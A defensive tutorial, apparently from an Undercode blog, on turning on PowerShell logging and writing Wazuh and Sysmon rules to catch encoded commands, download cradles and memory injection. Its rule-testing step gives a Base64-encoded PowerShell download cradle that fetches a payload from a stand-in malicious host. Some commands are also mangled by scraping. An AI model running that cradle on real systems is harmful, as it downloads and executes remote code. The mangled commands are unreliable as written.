Listen to this Post

Introduction:
PowerShell is a trusted Windows administration tool, but attackers use this trust to execute fileless malware and advanced persistent threats. By integrating PowerShell’s deep logging capabilities with the Wazuh SIEM platform, security teams can transform a potential blind spot into a high-fidelity detection engine that uncovers encoded payloads, lateral movement, and privilege escalation in real time.
Learning Objectives:
– Enable and configure advanced PowerShell logging (Script Block, Module, and Transcription) via Group Policy and Registry.
– Deploy custom Wazuh detection rules to identify suspicious PowerShell Event IDs and obfuscated commands.
– Use practical Linux/Windows CLI commands for threat hunting and forensic analysis of PowerShell telemetry.
You Should Know:
1. Enabling Advanced PowerShell Logging for Full Visibility
The first step to effective monitoring is ensuring Windows endpoints generate the right telemetry. PowerShell logging is disabled by default, which is why many SOCs miss critical attacks. To activate it, you can use Group Policy or directly modify the Registry. Below is a step‑by‑step guide to enabling the three most important logging components: Module Logging, Script Block Logging, and PowerShell Transcription.
Step‑by‑step guide:
– Open Group Policy Management Console (gpedit.msc) on a Domain Controller or a local machine for standalone systems.
– Navigate to Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell.
– Enable Module Logging: Double‑click “Turn on Module Logging”, set it to Enabled, then click “Show” under Module Names. Enter “ (asterisk) to log all modules, or specify a list of critical modules such as `Microsoft.PowerShell.`, `Microsoft.PowerShell.Management`, and `Microsoft.PowerShell.Security`.
– Enable Script Block Logging: Double‑click “Turn on PowerShell Script Block Logging”, set it to Enabled, and check the optional box “Log script block invocation start/stop events” to capture the exact start and end of every executed script block.
– Enable PowerShell Transcription: Go to Computer Configuration → Policies → Administrative Templates → Windows Components → Windows PowerShell → “Turn on PowerShell Transcription”. Set it to Enabled and define an output directory (e.g., `\\fileserver\logs\transcripts\%USERNAME%`). This creates a complete transcript of every PowerShell session, including user input and output.
– Force immediate application of policies by running `gpupdate /force` in an elevated command prompt on each target endpoint.
– Verify that the events are being generated: Open Event Viewer, navigate to Applications and Services Logs → Microsoft → Windows → PowerShell → Operational. You should see events with IDs 4103 (Module Logging), 4104 (Script Block Logging), and 4105/4106 (Transcription start/stop) appearing as you run PowerShell commands.
2. Building Custom Wazuh Detection Rules for PowerShell Telemetry
Once logs are being generated, the next task is to configure Wazuh to ingest and analyze them. Wazuh agents on Windows collect the PowerShell Operational log automatically if you have enabled the `
Step‑by‑step guide for creating a custom rule for Base64‑encoded PowerShell commands (Event ID 4104):
– On your Wazuh manager, navigate to the rules directory: `/var/ossec/etc/rules/` (or your custom rules location).
– Create a new rule file, for example, `local_powershell_rules.xml`.
– Add the following rule to detect any script block that contains a Base64 encoded command (identified by the pattern `-e [A-Za-z0-9+/=]{20,}`):
<group name="windows,powershell,attack,">
<rule id="100010" level="10">
<if_sid>58600</if_sid>
<field name="win.eventdata.scriptBlockText" type="pcre2">(?i)-e\s+[A-Za-z0-9+/=]{20,}</field>
<description>PowerShell Script Block with Base64 Encoded Content Detected</description>
<options>no_full_log</options>
<group>ATT&CK.T1027,</group>
</rule>
</group>
– (Optional) Add a correlation rule to look for network connections spawned from a PowerShell process with an encoded command:
<rule id="100011" level="12" timeframe="60" frequency="2"> <if_matched_sid>100010</if_matched_sid> <same_source_ip /> <description>Base64 PowerShell followed by network connection – Possible reverse shell or download cradle</description> <group>ATT&CK.T1059.001,ATT&CK.T1571,</group> </rule>
– Save the file and restart the Wazuh manager: `systemctl restart wazuh-manager` (Linux) or restart the `WazuhSvc` on Windows.
– Test the rule: On a Windows agent, run an encoded PowerShell command such as `powershell.exe -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAJwApAA==`. Within minutes, Wazuh should generate an alert showing Event ID 100010.
3. Mapping PowerShell Event IDs to ATT&CK Techniques
Understanding what each Event ID represents is crucial for effective alert triage and threat hunting. The four primary IDs—4104, 4103, 4688, and 7045—can reveal the entire attack chain from initial execution to persistence. Below is a mapping of each ID to common adversarial behaviors, along with sample detection queries you can run inside Wazuh or directly in PowerShell.
– Event ID 4104 – Script Block Logging: Captures the exact PowerShell command executed, making it the single best source for catching obfuscated post‑exploitation tooling. Use it to detect:
– Base64 encoded payloads: `powershell.exe -e `
– Download cradles: `IEX(New-Object Net.WebClient).DownloadString(…)`
– Invoke-Obfuscation patterns: `{.\$.=.’.’|.;.}`
– Hunting query (PowerShell): `Get-WinEvent -FilterHashtable @{LogName=’Microsoft-Windows-PowerShell/Operational’; ID=4104} | Where-Object {$_.Message -match ‘-e [A-Za-z0-9+/=]{20,}’}`
– Event ID 4103 – Module Logging: Provides pipeline execution details and module‑level activity. Useful for detecting:
– Active Directory enumeration: `Get-ADUser`, `Get-ADGroup`
– Persistence via scheduled tasks: `Register-ScheduledTask`
– Lateral movement tools: `Invoke-Command -ComputerName`
– Hunting query (PowerShell): `Get-WinEvent -FilterHashtable @{LogName=’Microsoft-Windows-PowerShell/Operational’; ID=4103} | Where-Object {$_.Message -match ‘Get-ADGroup|Register-ScheduledTask|Invoke-Command’}`
– Event ID 4688 – Process Creation (Security Log): Shows every new process start, including the command line. Requires “Include command line in process creation events” to be enabled via GPO. Use it to detect:
– PowerShell launched from unusual parent processes (e.g., WinWord.exe, Excel.exe)
– Silent process exits (potential fileless malware unloading)
– Hunting query (PowerShell): `Get-WinEvent -FilterHashtable @{LogName=’Security’; ID=4688} | Where-Object {$_.Properties
.Value -eq 'powershell.exe' -and $_.Properties[bash].Value -match 'WinWord|Excel'}`
- Event ID 7045 – Service Installation (System Log): Logs every new service, which is a common persistence mechanism used by attackers after they gain initial access. Use it to detect:
- Services with suspicious binary paths pointing to user directories or Temp folders
- Service names mimicking legitimate Windows services (e.g., `svchost_backup`, `WindowsUpdateSvc`)
- Hunting query (PowerShell): `Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | Where-Object {$_.Message -match 'C:\\Users\\[^\\]+\\AppData|C:\\Temp'}`
4. Threat Hunting with Sysmon and Wazuh for Advanced PowerShell Forensics
While PowerShell Operational logs are powerful, combining them with Sysmon (System Monitor) provides context such as parent‑child process relationships, network connections, and file creation events. Sysmon is a free Microsoft tool that logs deep system activity and is easily ingested by Wazuh. The following steps show you how to install Sysmon, configure it to log PowerShell‑related events, and then run hunting queries that correlate Sysmon Event ID 1 (Process Creation) with PowerShell Event ID 4104.
<h2 style="color: yellow;">Step‑by‑step guide for Sysmon + PowerShell hunting:</h2>
- Download Sysmon from Microsoft’s official site and place it in `C:\Windows\System32`.
- Create a configuration file `sysmonconfig.xml` with a rule to log all process creations and network connections involving powershell.exe:
[bash]
<Sysmon>
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="end with">powershell.exe</Image>
</ProcessCreate>
<NetworkConnect onmatch="include">
<Image condition="end with">powershell.exe</Image>
</NetworkConnect>
</EventFiltering>
</Sysmon>
– Install Sysmon: `sysmon64.exe -accepteula -i sysmonconfig.xml`
– In Wazuh, ensure the agent’s `ossec.conf` includes the Sysmon channel:
<localfile> <location>Microsoft-Windows-Sysmon/Operational</location> <log_format>eventchannel</log_format> </localfile>
– Restart the Wazuh agent.
– To hunt for a potential reverse shell, run this query on your Wazuh index (or using the `wazuh-indexer` API) to find a PowerShell process that both has an encoded command and initiated an outbound network connection:
{
"query": {
"bool": {
"must": [
{ "match": { "data.win.eventdata.image": "powershell.exe" } },
{ "match": { "data.win.eventdata.scriptBlockText": "-e" } },
{ "exists": { "field": "data.win.eventdata.destinationIp" } }
]
}
}
}
5. Detecting Fileless Malware and Memory Injection via PowerShell
One of the most dangerous techniques attackers use is fileless malware—code that runs entirely in memory and never touches the disk. PowerShell is the perfect vehicle for this because it can execute .NET assemblies, download and invoke scripts from remote URLs, and inject shellcode directly into processes. By combining PowerShell Script Block Logging (Event ID 4104) with Wazuh’s custom decoders, you can flag the tell‑tale signs of memory injection. Look for script blocks that contain reflection methods (`[System.Runtime.InteropServices.Marshal]::Copy`, `[System.Reflection.Assembly]::Load`) or WinAPI calls (`VirtualAlloc`, `CreateRemoteThread`). Below is a sample rule that triggers on any PowerShell command containing `VirtualAlloc` followed by `CreateRemoteThread`:
<rule id="100020" level="15"> <if_sid>58600</if_sid> <field name="win.eventdata.scriptBlockText" type="pcre2">(?i)(VirtualAlloc.CreateRemoteThread|CreateRemoteThread.VirtualAlloc)</field> <description>PowerShell Script Block Performing Memory Injection (VirtualAlloc+CreateRemoteThread)</description> <group>ATT&CK.T1055,</group> </rule>
Once this rule is active, any attempt to inject code into another process—even if the payload is obfuscated—will generate a high‑severity alert in Wazuh, giving the Blue Team precious minutes to isolate the host before the attacker completes their objective.
What Undercode Say:
– Logging is the foundation of detection. Without advanced PowerShell logging enabled, you are effectively blind to half of the modern attack surface. Attackers don’t need malware; they need only a trusted interpreter like PowerShell and a lack of telemetry.
– Custom detection rules turn data into action. Generic SIEM rules are not enough. By writing targeted rules for Base64 patterns, reflection methods, and unusual parent‑child relationships, you transform raw logs into a proactive threat hunting platform that can stop fileless attacks in real time.
Prediction:
– +1 Over the next 18 months, PowerShell logging will become a mandatory compliance requirement for SOC 2, ISO 27001, and PCI‑DSS 4.0, as regulators finally recognize its critical role in detecting living‑off‑the‑land (LotL) attacks.
– +1 Wazuh will release pre‑built “PowerShell Hardening” playbooks that automate the entire logging enablement, custom rule creation, and Sysmon deployment process, reducing integration time from weeks to under an hour.
– -1 However, attackers will shift toward using .NET directly via `csc.exe` and `msbuild.exe` to bypass PowerShell logging entirely, forcing SOC teams to expand their telemetry collection to include other Windows binaries and scripting engines.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
[Join Undercode Academy for Verified Certifications](https://undercode.co.uk/certifications/)
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[[email protected]](mailto:[email protected])
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: [Yildizokan Wazuh](https://www.linkedin.com/posts/yildizokan_wazuh-powershell-soc-ugcPost-7467478515639205888-yvYs/) – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
[💬 Whatsapp](https://undercode.help/whatsapp) | [💬 Telegram](https://t.me/UndercodeCommunity)
📢 Follow UndercodeTesting & Stay Tuned:
[𝕏 formerly Twitter 🐦](https://x.com/undercodeupdate) | [@ Threads](https://www.threads.net/@undercodetesting) | [🔗 Linkedin](https://www.linkedin.com/company/undercodetesting/) | [🦋BlueSky](https://bsky.app/profile/undercode.bsky.social)


